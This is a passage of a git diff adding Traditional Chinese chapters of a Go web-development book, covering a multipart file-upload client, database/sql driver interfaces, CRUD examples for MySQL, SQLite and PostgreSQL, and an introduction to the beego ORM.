4.5 列印檔案上傳後伺服器端接受的資訊 + +## 客戶端上傳檔案 + +我們上面的例子示範了如何透過表單上傳檔案,然後在伺服器端處理檔案,其實 Go 支援模擬客戶端表單功能支援檔案上傳,詳細用法請看如下範例: + +```Go +package main + +import ( + "bytes" + "fmt" + "io" + "io/ioutil" + "mime/multipart" + "net/http" + "os" +) + +func postFile(filename string, targetUrl string) error { + bodyBuf := &bytes.Buffer{} + bodyWriter := multipart.NewWriter(bodyBuf) + + //關鍵的一步操作 + fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename) + if err != nil { + fmt.Println("error writing to buffer") + return err + } + + //開啟檔案控制代碼操作 + fh, err := os.Open(filename) + if err != nil { + fmt.Println("error opening file") + return err + } + defer fh.Close() + + //iocopy + _, err = io.Copy(fileWriter, fh) + if err != nil { + return err + } + + contentType := bodyWriter.FormDataContentType() + bodyWriter.Close() + + resp, err := http.Post(targetUrl, contentType, bodyBuf) + if err != nil { + return err + } + defer resp.Body.Close() + resp_body, err := ioutil.ReadAll(resp.Body) + if err != nil { + return err + } + fmt.Println(resp.Status) + fmt.Println(string(resp_body)) + return nil +} + +// sample usage +func main() { + target_url := "http://localhost:9090/upload" + filename := "./astaxie.pdf" + postFile(filename, target_url) +} +``` + +上面的例子詳細展示了客戶端如何向伺服器上傳一個檔案的例子,客戶端透過 multipart.Write 把檔案的文字流寫入一個快取中,然後呼叫 http 的 Post 方法把快取傳到伺服器。 + +>如果你還有其他普通欄位例如 username 之類別的需要同時寫入,那麼可以呼叫 multipart 的 WriteField 方法寫很多其他類似的欄位。 + +## links + * [目錄]() + * 上一節:[防止多次提交表單](<04.4.md>) + * 下一節:[小結](<04.6.md>) diff --git a/zh-tw/04.6.md b/zh-tw/04.6.md new file mode 100644 index 000000000..640e53ef5 --- /dev/null +++ b/zh-tw/04.6.md @@ -0,0 +1,9 @@ +# 4.6 小結 +這一章裡面我們學習了 Go 如何處理表單資訊,我們透過使用者登入、上傳檔案的例子展示了 Go 處理 form 表單資訊及上傳檔案的手段。但是在處理表單過程中我們需要驗證使用者輸入的資訊,考慮到網站安全的重要性,資料過濾就顯得相當重要了,因此後面的章節中專門寫了一個小節來講解了不同方面的資料過濾,順帶講一下 Go 對字串的正則處理。 + +透過這一章能夠讓你了解客戶端和伺服器端是如何進行資料上的互動,客戶端將資料傳遞給伺服器系統,伺服器接受資料又把處理結果反饋給客戶端。 + +## links + * [目錄]() + * 上一節:[處理檔案上傳](<04.5.md>) + * 下一章:[訪問資料庫](<05.0.md>) diff --git a/zh-tw/05.0.md b/zh-tw/05.0.md new file mode 100644 index 000000000..e66a3b938 --- /dev/null +++ b/zh-tw/05.0.md @@ -0,0 +1,16 @@ +# 5 訪問資料庫 +對許多 Web 應用程式而言,資料庫都是其核心所在。資料庫幾乎可以用來儲存你想查詢和修改的任何資訊,比如使用者資訊、產品目錄或者新聞列表等。 + +Go 沒有內建的驅動支援任何的資料庫,但是 Go 定義了 database/sql 介面,使用者可以基於驅動介面開發相應資料庫的驅動,5.1 小節裡面介紹 Go 設計的一些驅動,介紹 Go 是如何設計資料庫驅動介面的。5.2 至 5.4 小節介紹目前使用的比較多的一些關係型資料驅動以及如何使用,5.5 小節介紹我自己開發一個 ORM 函式庫,基於 database/sql 標準介面開發的,可以相容幾乎所有支援 database/sql 的資料庫驅動,可以方便的使用 Go style 來進行資料庫操作。 + +目前 NOSQL 已經成為 Web 開發的一個潮流,很多應用採用了 NOSQL 作為資料庫,而不是以前的快取,5.6 小節將介紹 MongoDB 和 Redis 兩種 NOSQL 資料庫。 + +>[Go database/sql tutorial](http://go-database-sql.org/) 裡提供了慣用的範例及詳細的說明。 + +## 目錄 + ![](images/navi5.png) + +## links + * [目錄]() + * 上一章:[第四章總結](<04.6.md>) + * 下一節:[database/sql 介面](<05.1.md>) diff --git a/zh-tw/05.1.md b/zh-tw/05.1.md new file mode 100644 index 000000000..2e70f44bb --- /dev/null +++ b/zh-tw/05.1.md @@ -0,0 +1,220 @@ +# 5.1 database/sql 介面 +Go 與 PHP 不同的地方是 Go 官方沒有提供資料庫驅動,而是為開發資料庫驅動定義了一些標準介面,開發者可以根據定義的介面來開發相應的資料庫驅動,這樣做有一個好處,只要是按照標準介面開發的程式碼, 以後需要遷移資料庫時,不需要任何修改。那麼 Go 都定義了哪些標準介面呢?讓我們來詳細的分析一下 + +## sql.Register +這個存在於 database/sql 的函式是用來註冊資料庫驅動的,當第三方開發者開發資料庫驅動時,都會實現 init 函式,在 init 裡面會呼叫這個`Register(name string, driver driver.Driver)`完成本驅動的註冊。 + +我們來看一下 mymysql、sqlite3 的驅動裡面都是怎麼呼叫的: + +```Go +//https://github.com/mattn/go-sqlite3 驅動 +func init() { + sql.Register("sqlite3", &SQLiteDriver{}) +} + +//https://github.com/mikespook/mymysql 驅動 +// Driver automatically registered in database/sql +var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"} +func init() { + Register("SET NAMES utf8") + sql.Register("mymysql", &d) +} +``` +我們看到第三方資料庫驅動都是透過呼叫這個函式來註冊自己的資料庫驅動名稱以及相應的 driver 實現。在 database/sql 內部透過一個 map 來儲存使用者定義的相應驅動。 + +```Go +var drivers = make(map[string]driver.Driver) + +drivers[name] = driver +``` +因此透過 database/sql 的註冊函式可以同時註冊多個數據函式庫驅動,只要不重複。 + +>在我們使用 database/sql 介面和第三方函式庫的時候經常看到如下: + +> import ( +> "database/sql" +> _ "github.com/mattn/go-sqlite3" +> ) + +>新手都會被這個 `_` 所迷惑,其實這個就是 Go 設計的巧妙之處,我們在變數賦值的時候經常看到這個符號,它是用來忽略變數賦值的佔位符,那麼套件引入用到這個符號也是相似的作用,這兒使用 `_` 的意思是引入後面的套件名而不直接使用這個套件中定義的函式,變數等資源。 + +>我們在 2.3 節流程和函式一節中介紹過 init 函式的初始化過程,套件在引入的時候會自動呼叫套件的 init 函式以完成對套件的初始化。因此,我們引入上面的資料庫驅動套件之後會自動去呼叫 init 函式,然後在 init 函式裡面註冊這個資料庫驅動,這樣我們就可以在接下來的程式碼中直接使用這個資料庫驅動了。 + +## driver.Driver +Driver 是一個數據函式庫驅動的介面,他定義了一個 method: Open(name string),這個方法回傳一個數據函式庫的 Conn 介面。 + +```Go +type Driver interface { + Open(name string) (Conn, error) +} +``` +回傳的 Conn 只能用來進行一次 goroutine 的操作,也就是說不能把這個 Conn 應用於 Go 的多個 goroutine 裡面。如下程式碼會出現錯誤 + +```Go +... +go goroutineA (Conn) //執行查詢操作 +go goroutineB (Conn) //執行插入操作 +... +``` +上面這樣的程式碼可能會使 Go 不知道某個操作究竟是由哪個 goroutine 發起的,從而導致資料混亂,比如可能會把 goroutineA 裡面執行的查詢操作的結果回傳給 goroutineB 從而使 B 錯誤地把此結果當成自己執行的插入資料。 + +第三方驅動都會定義這個函式,它會解析 name 參數來取得相關資料庫的連線資訊,解析完成後,它將使用此資訊來初始化一個 Conn 並回傳它。 + +## driver.Conn +Conn 是一個數據函式庫連線的介面定義,他定義了一系列方法,這個 Conn 只能應用在一個 goroutine 裡面,不能使用在多個 goroutine 裡面,詳情請參考上面的說明。 + +```Go +type Conn interface { + Prepare(query string) (Stmt, error) + Close() error + Begin() (Tx, error) +} +``` +Prepare 函式回傳與當前連線相關的執行 Sql 語句的準備狀態,可以進行查詢、刪除等操作。 + +Close 函式關閉當前的連線,執行釋放連線擁有的資源等清理工作。因為驅動實現了 database/sql 裡面建議的 conn pool,所以你不用再去實現快取 conn 之類別的,這樣會容易引起問題。 + +Begin 函式回傳一個代表交易處理的 Tx,透過它你可以進行查詢,更新等操作,或者對交易進行回復 (Rollback)、提交。 + +## driver.Stmt +Stmt 是一種準備好的狀態,和 Conn 相關聯,而且只能應用於一個 goroutine 中,不能應用於多個 goroutine。 + +```Go +type Stmt interface { + Close() error + NumInput() int + Exec(args []Value) (Result, error) + Query(args []Value) (Rows, error) +} +``` +Close 函式關閉當前的連結狀態,但是如果當前正在執行 query,query 還是有效回傳 rows 資料。 + +NumInput 函式回傳當前預留參數的個數,當回傳 >=0 時資料庫驅動就會智慧檢查呼叫者的參數。當資料庫驅動套件不知道預留參數的時候,回傳-1。 + +Exec 函式執行 Prepare 準備好的 sql,傳入參數執行 update/insert 等操作,回傳 Result 資料 + +Query 函式執行 Prepare 準備好的 sql,傳入需要的參數執行 select 操作,回傳 Rows 結果集 + + +## driver.Tx +交易處理一般就兩個過程,提交或者回復 (Rollback)。資料庫驅動裡面也只需要實現這兩個函式就可以 + +```Go +type Tx interface { + Commit() error + Rollback() error +} +``` +這兩個函式一個用來提交一個交易,一個用來回復 (Rollback)交易。 + +## driver.Execer +這是一個 Conn 可選擇實現的介面 + +```Go +type Execer interface { + Exec(query string, args []Value) (Result, error) +} +``` +如果這個介面沒有定義,那麼在呼叫 DB.Exec,就會首先呼叫 Prepare 回傳 Stmt,然後執行 Stmt 的 Exec,然後關閉 Stmt。 + +## driver.Result +這個是執行 Update/Insert 等操作回傳的結果介面定義 + +```Go +type Result interface { + LastInsertId() (int64, error) + RowsAffected() (int64, error) +} +``` +LastInsertId 函式回傳由資料庫執行插入操作得到的自增 ID 號。 + +RowsAffected 函式回傳 query 操作影響的資料條目數。 + +## driver.Rows +Rows 是執行查詢回傳的結果集介面定義 + +```Go +type Rows interface { + Columns() []string + Close() error + Next(dest []Value) error +} +``` +Columns 函式回傳查詢資料庫表的欄位資訊,這個回傳的 slice 和 sql 查詢的欄位一一對應,而不是回傳整個表的所有欄位。 + +Close 函式用來關閉 Rows 迭代器。 + +Next 函式用來回傳下一條資料,把資料賦值給 dest。dest 裡面的元素必須是 driver.Value 的值除了 string,回傳的資料裡面所有的 string 都必須要轉換成[]byte。如果最後沒資料了,Next 函式最後回傳 io.EOF。 + + +## driver.RowsAffected +RowsAffected 其實就是一個 int64 的別名,但是他實現了 Result 介面,用來底層實現 Result 的表示方式 + +```Go +type RowsAffected int64 + +func (RowsAffected) LastInsertId() (int64, error) + +func (v RowsAffected) RowsAffected() (int64, error) +``` +## driver.Value +Value 其實就是一個空介面,他可以容納任何的資料 + +```Go +type Value interface{} +``` +drive 的 Value 是驅動必須能夠操作的 Value,Value 要麼是 nil,要麼是下面的任意一種 + +```Go +int64 +float64 +bool +[]byte +string [*]除了 Rows.Next 回傳的不能是 string. +time.Time +``` +## driver.ValueConverter +ValueConverter 介面定義了如何把一個普通的值轉化成 driver.Value 的介面 + +```Go +type ValueConverter interface { + ConvertValue(v interface{}) (Value, error) +} +``` +在開發的資料庫驅動套件裡面實現這個介面的函式在很多地方會使用到,這個 ValueConverter 有很多好處: + +- 轉化 driver.value 到資料庫表相應的欄位,例如 int64 的資料如何轉化成資料庫表 uint16 欄位 +- 把資料庫查詢結果轉化成 driver.Value 值 +- 在 scan 函式裡面如何把 driver.Value 值轉化成使用者定義的值 + +## driver.Valuer +Valuer 介面定義了回傳一個 driver.Value 的方式 + +```Go +type Valuer interface { + Value() (Value, error) +} +``` +很多型別都實現了這個 Value 方法,用來自身與 driver.Value 的轉化。 + +透過上面的講解,你應該對於驅動的開發有了一個基本的了解,一個驅動只要實現了這些介面就能完成增刪查改等基本操作了,剩下的就是與相應的資料庫進行資料互動等細節問題了,在此不再贅述。 + +## database/sql +database/sql 在 database/sql/driver 提供的介面基礎上定義了一些更高階的方法,用以簡化資料庫操作,同時內部還建議性地實現一個 conn pool。 + +```Go +type DB struct { + driver driver.Driver + dsn string + mu sync.Mutex // protects freeConn and closed + freeConn []driver.Conn + closed bool +} +``` +我們可以看到 Open 函式回傳的是 DB 物件,裡面有一個 freeConn,它就是那個簡易的連線池。它的實現相當簡單或者說簡陋,就是當執行`db.prepare` -> `db.prepareDC`的時候會`defer dc.releaseConn`,然後呼叫`db.putConn`,也就是把這個連線放入連線池,每次呼叫`db.conn`的時候會先判斷 freeConn 的長度是否大於 0,大於 0 說明有可以複用的 conn,直接拿出來用就是了,如果不大於 0,則建立一個 conn,然後再回傳之。 + + +## links + * [目錄]() + * 上一節:[訪問資料庫](<05.0.md>) + * 下一節:[使用 MySQL 資料庫](<05.2.md>) diff --git a/zh-tw/05.2.md b/zh-tw/05.2.md new file mode 100644 index 000000000..fe1ed9b69 --- /dev/null +++ b/zh-tw/05.2.md @@ -0,0 +1,141 @@ +# 5.2 使用 MySQL 資料庫 +目前 Internet 上流行的網站構架方式是 LAMP,其中的 M 即 MySQL, 作為資料庫,MySQL 以免費、開源、使用方便為優勢成為了很多 Web 開發的後端資料庫儲存引擎。 + +## MySQL 驅動 +Go 中支援 MySQL 的驅動目前比較多,有如下幾種,有些是支援 database/sql 標準,而有些是採用了自己的實現介面,常用的有如下幾種: + +- https://github.com/go-sql-driver/mysql 支援 database/sql,全部採用 go 寫。 +- https://github.com/ziutek/mymysql 支援 database/sql,也支援自訂的介面,全部採用 go 寫。 +- https://github.com/Philio/GoMySQL 不支援 database/sql,自訂介面,全部採用 go 寫。 + +接下來的例子我主要以第一個驅動為例(我目前專案中也是採用它來驅動),也推薦大家採用它,主要理由: + +- 這個驅動比較新,維護的比較好 +- 完全支援 database/sql 介面 +- 支援 keepalive,保持長連線,雖然 [ 星星](http://www.mikespook.com)fork 的 mymysql 也支援 keepalive,但不是執行緒安全的,這個從底層就支援了 keepalive。 + +## 範例程式碼 +接下來的幾個小節裡面我們都將採用同一個資料庫表結構:資料庫 test,使用者表 userinfo,關聯使用者資訊表 userdetail。 +```sql + +CREATE TABLE `userinfo` ( + `uid` INT(10) NOT NULL AUTO_INCREMENT, + `username` VARCHAR(64) NULL DEFAULT NULL, + `department` VARCHAR(64) NULL DEFAULT NULL, + `created` DATE NULL DEFAULT NULL, + PRIMARY KEY (`uid`) +); + +CREATE TABLE `userdetail` ( + `uid` INT(10) NOT NULL DEFAULT '0', + `intro` TEXT NULL, + `profile` TEXT NULL, + PRIMARY KEY (`uid`) +) +``` +如下範例將示範如何使用 database/sql 介面對資料庫表進行增刪改查操作 + +```Go +package main + +import ( + "database/sql" + "fmt" + //"time" + + _ "github.com/go-sql-driver/mysql" +) + +func main() { + db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8") + checkErr(err) + + //插入資料 + stmt, err := db.Prepare("INSERT userinfo SET username=?,department=?,created=?") + checkErr(err) + + res, err := stmt.Exec("astaxie", "研發部門", "2012-12-09") + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println(id) + //更新資料 + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + //查詢資料 + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } + + //刪除資料 + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + db.Close() + +} + +func checkErr(err error) { + if err != nil { + panic(err) + } +} + +``` + +透過上面的程式碼我們可以看出,Go 操作 Mysql 資料庫是很方便的。 + +關鍵的幾個函式我解釋一下: + +sql.Open()函式用來開啟一個註冊過的資料庫驅動,go-sql-driver 中註冊了 mysql 這個資料庫驅動,第二個參數是 DSN(Data Source Name),它是 go-sql-driver 定義的一些資料庫連結和配置資訊。它支援如下格式: + + user@unix(/path/to/socket)/dbname?charset=utf8 + user:password@tcp(localhost:5555)/dbname?charset=utf8 + user:password@/dbname + user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname + +db.Prepare()函式用來回傳準備要執行的 sql 操作,然後回傳準備完畢的執行狀態。 + +db.Query()函式用來直接執行 Sql 回傳 Rows 結果。 + +stmt.Exec()函式用來執行 stmt 準備好的 SQL 語句 + +我們可以看到我們傳入的參數都是 =? 對應的資料,這樣做的方式可以一定程度上防止 SQL 注入。 + + + +## links + * [目錄]() + * 上一節:[database/sql 介面](<05.1.md>) + * 下一節:[使用 SQLite 資料庫](<05.3.md>) diff --git a/zh-tw/05.3.md b/zh-tw/05.3.md new file mode 100644 index 000000000..1c21238e1 --- /dev/null +++ b/zh-tw/05.3.md @@ -0,0 +1,122 @@ +# 5.3 使用 SQLite 資料庫 + +SQLite 是一個開源的嵌入式關聯式資料庫,實現自套件容、零配置、支援事務的 SQL 資料庫引擎。其特點是高度便攜、使用方便、結構緊湊、高效、可靠。 與其他資料庫管理系統不同,SQLite 的安裝和執行非常簡單,在大多數情況下,只要確保 SQLite 的二進位制檔案存在即可開始建立、連線和使用資料庫。如果您正在尋找一個嵌入式資料庫專案或解決方案,SQLite 是絕對值得考慮。SQLite 可以說是開源的 Access。 + +## 驅動 +Go 支援 sqlite 的驅動也比較多,但是好多都是不支援 database/sql 介面的 + +- https://github.com/mattn/go-sqlite3 支援 database/sql 介面,基於 cgo(關於 cgo 的知識請參看官方文件或者本書後面的章節)寫的 +- https://github.com/feyeleanor/gosqlite3 不支援 database/sql 介面,基於 cgo 寫的 +- https://github.com/phf/go-sqlite3 不支援 database/sql 介面,基於 cgo 寫的 + +目前支援 database/sql 的 SQLite 資料庫驅動只有第一個,我目前也是採用它來開發專案的。採用標準介面有利於以後出現更好的驅動的時候做遷移。 + +## 範例程式碼 +範例的資料庫表結構如下所示,相應的建表 SQL: +```sql + +CREATE TABLE `userinfo` ( + `uid` INTEGER PRIMARY KEY AUTOINCREMENT, + `username` VARCHAR(64) NULL, + `department` VARCHAR(64) NULL, + `created` DATE NULL +); + +CREATE TABLE `userdetail` ( + `uid` INT(10) NULL, + `intro` TEXT NULL, + `profile` TEXT NULL, + PRIMARY KEY (`uid`) +); +``` +看下面 Go 程式是如何操作資料庫表資料 : 增刪改查 + +```Go +package main + +import ( + "database/sql" + "fmt" + "time" + + _ "github.com/mattn/go-sqlite3" +) + +func main() { + db, err := sql.Open("sqlite3", "./foo.db") + checkErr(err) + + //插入資料 + stmt, err := db.Prepare("INSERT INTO userinfo(username, department, created) values(?,?,?)") + checkErr(err) + + res, err := stmt.Exec("astaxie", "研發部門", "2012-12-09") + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println(id) + //更新資料 + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + //查詢資料 + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created time.Time + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } + + //刪除資料 + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + db.Close() + +} + +func checkErr(err error) { + if err != nil { + panic(err) + } +} +``` + +我們可以看到上面的程式碼和 MySQL 例子裡面的程式碼幾乎是一模一樣的,唯一改變的就是匯入的驅動改變了,然後呼叫`sql.Open`是採用了 SQLite 的方式開啟。 + + +>sqlite 管理工具:http://sqliteadmin.orbmu2k.de/ + +>可以方便的建立資料庫管理。 + +## links + * [目錄]() + * 上一節:[使用 MySQL 資料庫](<05.2.md>) + * 下一節:[使用 PostgreSQL 資料庫](<05.4.md>) diff --git a/zh-tw/05.4.md b/zh-tw/05.4.md new file mode 100644 index 000000000..3ed0b094b --- /dev/null +++ b/zh-tw/05.4.md @@ -0,0 +1,134 @@ +# 5.4 使用 PostgreSQL 資料庫 + +PostgreSQL 是一個自由的物件-關聯式資料庫伺服器(資料庫管理系統),它在靈活的 BSD-風格許可證下發行。它提供了相對其他開放原始碼資料庫系統(比如 MySQL 和 Firebird),和對專有系統比如 Oracle、Sybase、IBM 的 DB2 和 Microsoft SQL Server 的一種選擇。 + +PostgreSQL 和 MySQL 比較,它更加龐大一點,因為它是用來替代 Oracle 而設計的。所以在企業應用中採用 PostgreSQL 是一個明智的選擇。 + +MySQL 被 Oracle 收購之後正在逐步的封閉(自 MySQL 5.5.31 以後的所有版本將不再遵循 GPL 協議),鑑於此,將來我們也許會選擇 PostgreSQL 而不是 MySQL 作為專案的後端資料庫。 + +## 驅動 +Go 實現的支援 PostgreSQL 的驅動也很多,因為國外很多人在開發中使用了這個資料庫。 + +- https://github.com/lib/pq 支援 database/sql 驅動,純 Go 寫的 +- https://github.com/jbarham/gopgsqldriver 支援 database/sql 驅動,純 Go 寫的 +- https://github.com/lxn/go-pgsql 支援 database/sql 驅動,純 Go 寫的 + +在下面的範例中我採用了第一個驅動,因為它目前使用的人最多,在 GitHub 上也比較活躍。 + +## 範例程式碼 +資料庫建表語句: +```sql + +CREATE TABLE userinfo +( + uid serial NOT NULL, + username character varying(100) NOT NULL, + department character varying(500) NOT NULL, + Created date, + CONSTRAINT userinfo_pkey PRIMARY KEY (uid) +) +WITH (OIDS=FALSE); + +CREATE TABLE userdetail +( + uid integer, + intro character varying(100), + profile character varying(100) +) +WITH(OIDS=FALSE); +``` + +看下面這個 Go 如何操作資料庫表資料 : 增刪改查 + +```Go +package main + +import ( + "database/sql" + "fmt" + + _ "github.com/lib/pq" +) + +func main() { + db, err := sql.Open("postgres", "user=astaxie password=astaxie dbname=test sslmode=disable") + checkErr(err) + + //插入資料 + stmt, err := db.Prepare("INSERT INTO userinfo(username,department,created) VALUES($1,$2,$3) RETURNING uid") + checkErr(err) + + res, err := stmt.Exec("astaxie", "研發部門", "2012-12-09") + checkErr(err) + + //pg 不支援這個函式,因為他沒有類似 MySQL 的自增 ID + // id, err := res.LastInsertId() + // checkErr(err) + // fmt.Println(id) + + var lastInsertId int + err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研發部門", "2012-12-09").Scan(&lastInsertId) + checkErr(err) + fmt.Println("最後插入 id =", lastInsertId) + + + //更新資料 + stmt, err = db.Prepare("update userinfo set username=$1 where uid=$2") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", 1) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + //查詢資料 + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } + + //刪除資料 + stmt, err = db.Prepare("delete from userinfo where uid=$1") + checkErr(err) + + res, err = stmt.Exec(1) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + db.Close() + +} + +func checkErr(err error) { + if err != nil { + panic(err) + } +} +``` + +從上面的程式碼我們可以看到,PostgreSQL 是透過`$1`,`$2`這種方式來指定要傳遞的參數,而不是 MySQL 中的`?`,另外在 sql.Open 中的 dsn 資訊的格式也與 MySQL 的驅動中的 dsn 格式不一樣,所以在使用時請注意它們的差異。 + +還有 pg 不支援 LastInsertId 函式,因為 PostgreSQL 內部沒有實現類似 MySQL 的自增 ID 回傳,其他的程式碼幾乎是一模一樣。 + +## links + * [目錄]() + * 上一節:[使用 SQLite 資料庫](<05.3.md>) + * 下一節:[使用 Beego orm 函式庫進行 ORM 開發](<05.5.md>) diff --git a/zh-tw/05.5.md b/zh-tw/05.5.md new file mode 100644 index 000000000..201661bdf --- /dev/null +++ b/zh-tw/05.5.md @@ -0,0 +1,450 @@ +# 5.5 使用 Beego orm 函式庫進行 ORM 開發 +beego orm 是我開發的一個 Go 進行 ORM 操作的函式庫,它採用了 Go style 方式對資料庫進行操作,實現了 struct 到資料表記錄的對映。beego orm 是一個十分輕量級的 Go ORM 框架,開發這個函式庫的本意降低複雜的 ORM 學習曲線,儘可能在 ORM 的執行效率和功能之間尋求一個平衡,beego orm 是目前開源的 Go ORM 框架中實現比較完整的一個函式庫,而且執行效率相當不錯,功能也基本能滿足需求。 + +beego orm 是支援 database/sql 標準介面的 ORM 函式庫,所以理論上來說,只要資料庫驅動支援 database/sql 介面就可以無縫的接入 beego orm。目前我測試過的驅動包括下面幾個: + + +Mysql: [github/go-mysql-driver/mysql](https://github.com/go-sql-driver/mysql) + +PostgreSQL: [github.com/lib/pq](https://github.com/lib/pq) + +SQLite: [github.com/mattn/go-sqlite3](https://github.com/mattn/go-sqlite3) + +Mysql: [github.com/ziutek/mymysql/godrv](https://github.com/ziutek/mymysql) + + +暫未支援資料庫: + +MsSql: [github.com/denisenkom/go-mssqldb](https://github.com/denisenkom/go-mssqldb) + +MS ADODB: [github.com/mattn/go-adodb](https://github.com/mattn/go-adodb) + +Oracle: [github.com/mattn/go-oci8](https://github.com/mattn/go-oci8) + +ODBC: [bitbucket.org/miquella/mgodbc](https://bitbucket.org/miquella/mgodbc) + + +## 安裝 + +beego orm 支援 go get 方式安裝,是完全按照 Go Style 的方式來實現的。 + + go get github.com/astaxie/beego + +## 如何初始化 +首先你需要 import 相應的資料庫驅動套件、database/sql 標準介面套件以及 beego orm 套件,如下所示: + +```Go +import ( + "database/sql" + "github.com/astaxie/beego/orm" + _ "github.com/go-sql-driver/mysql" +) + +func init() { + //註冊驅動 + orm.RegisterDriver("mysql", orm.DR_MySQL) + //設定預設資料庫 + orm.RegisterDataBase("default", "mysql", "root:root@/my_db?charset=utf8", 30) + //註冊定義的 model + orm.RegisterModel(new(User)) + + // 建立 table + orm.RunSyncdb("default", false, true) +} +``` + + PostgreSQL 配置: + +```Go +//匯入驅動 +// _ "github.com/lib/pq" + +// 註冊驅動 +orm.RegisterDriver("postgres", orm.DR_Postgres) + +// 設定預設資料庫 +//PostgresQL 使用者:postgres ,密碼:zxxx , 資料庫名稱:test , 資料庫別名:default +orm.RegisterDataBase("default", "postgres", "user=postgres password=zxxx dbname=test host=127.0.0.1 port=5432 sslmode=disable") +``` + +MySQL 配置: + +```Go +//匯入驅動 +//_ "github.com/go-sql-driver/mysql" + +//註冊驅動 +orm.RegisterDriver("mysql", orm.DR_MySQL) + +// 設定預設資料庫 +//mysql 使用者:root ,密碼:zxxx , 資料庫名稱:test , 資料庫別名:default + orm.RegisterDataBase("default", "mysql", "root:zxxx@/test?charset=utf8") +``` +Sqlite 配置: + +```Go +//匯入驅動 +//_ "github.com/mattn/go-sqlite3" + +//註冊驅動 +orm.RegisterDriver("sqlite", orm.DR_Sqlite) + +// 設定預設資料庫 +//資料庫存放位置:./datas/test.db , 資料庫別名:default +orm.RegisterDataBase("default", "sqlite3", "./datas/test.db") +``` + +匯入必須的 package 之後,我們需要開啟到資料庫的連結,然後建立一個 beego orm 物件(以 MySQL 為例),如下所示 +beego orm: + +```Go +func main() { + o := orm.NewOrm() +} +``` + +簡單範例: + +```Go +package main + +import ( + "fmt" + "github.com/astaxie/beego/orm" + _ "github.com/go-sql-driver/mysql" // 匯入資料庫驅動 +) + +// Model Struct +type User struct { + Id int + Name string `orm:"size(100)"` +} + +func init() { + // 設定預設資料庫 + orm.RegisterDataBase("default", "mysql", "root:root@/my_db?charset=utf8", 30) + + // 註冊定義的 model + orm.RegisterModel(new(User)) +//RegisterModel 也可以同時註冊多個 model +//orm.RegisterModel(new(User), new(Profile), new(Post)) + + // 建立 table + orm.RunSyncdb("default", false, true) +} + +func main() { + o := orm.NewOrm() + + user := User{Name: "slene"} + + // 插入表 + id, err := o.Insert(&user) + fmt.Printf("ID: %d, ERR: %v\n", id, err) + + // 更新表 + user.Name = "astaxie" + num, err := o.Update(&user) + fmt.Printf("NUM: %d, ERR: %v\n", num, err) + + // 讀取 one + u := User{Id: user.Id} + err = o.Read(&u) + fmt.Printf("ERR: %v\n", err) + + // 刪除表 + num, err = o.Delete(&u) + fmt.Printf("NUM: %d, ERR: %v\n", num, err) +} + +``` + +SetMaxIdleConns + +根據資料庫的別名,設定資料庫的最大空閒連線 + +```Go +orm.SetMaxIdleConns("default", 30) +``` +SetMaxOpenConns + +根據資料庫的別名,設定資料庫的最大資料庫連線 (go >= 1.2) + +```Go +orm.SetMaxOpenConns("default", 30) +``` + +目前 beego orm 支援列印除錯,你可以透過如下的程式碼實現除錯 + +```Go + orm.Debug = true +``` + +接下來我們的例子採用前面的資料庫表 User,現在我們建立相應的 struct + +```Go +type Userinfo struct { + Uid int `PK` //如果表的主鍵不是 id,那麼需要加上 pk 註釋,明確的說這個欄位是主鍵 + Username string + Departname string + Created time.Time +} + +type User struct { + Uid int `PK` //如果表的主鍵不是 id,那麼需要加上 pk 註釋,明確的說這個欄位是主鍵 + Name string + Profile *Profile `orm:"rel(one)"` // OneToOne relation + Post []*Post `orm:"reverse(many)"` // 設定一對多的反向關係 +} + +type Profile struct { + Id int + Age int16 + User *User `orm:"reverse(one)"` // 設定一對一反向關係(可選) +} + +type Post struct { + Id int + Title string + User *User `orm:"rel(fk)"` + Tags []*Tag `orm:"rel(m2m)"` //設定一對多關係 +} + +type Tag struct { + Id int + Name string + Posts []*Post `orm:"reverse(many)"` +} + +func init() { + // 需要在 init 中註冊定義的 model + orm.RegisterModel(new(Userinfo),new(User), new(Profile), new(Tag)) +} + +``` + +>注意一點,beego orm 針對駝峰命名會自動幫你轉化成下劃線欄位,例如你定義了 Struct 名字為`UserInfo`,那麼轉化成底層實現的時候是`user_info`,欄位命名也遵循該規則。 + +## 插入資料 +下面的程式碼示範了如何插入一條記錄,可以看到我們操作的是 struct 物件,而不是原生的 sql 語句,最後透過呼叫 Insert 介面將資料儲存到資料庫。 + +```Go +o := orm.NewOrm() +var user User +user.Name = 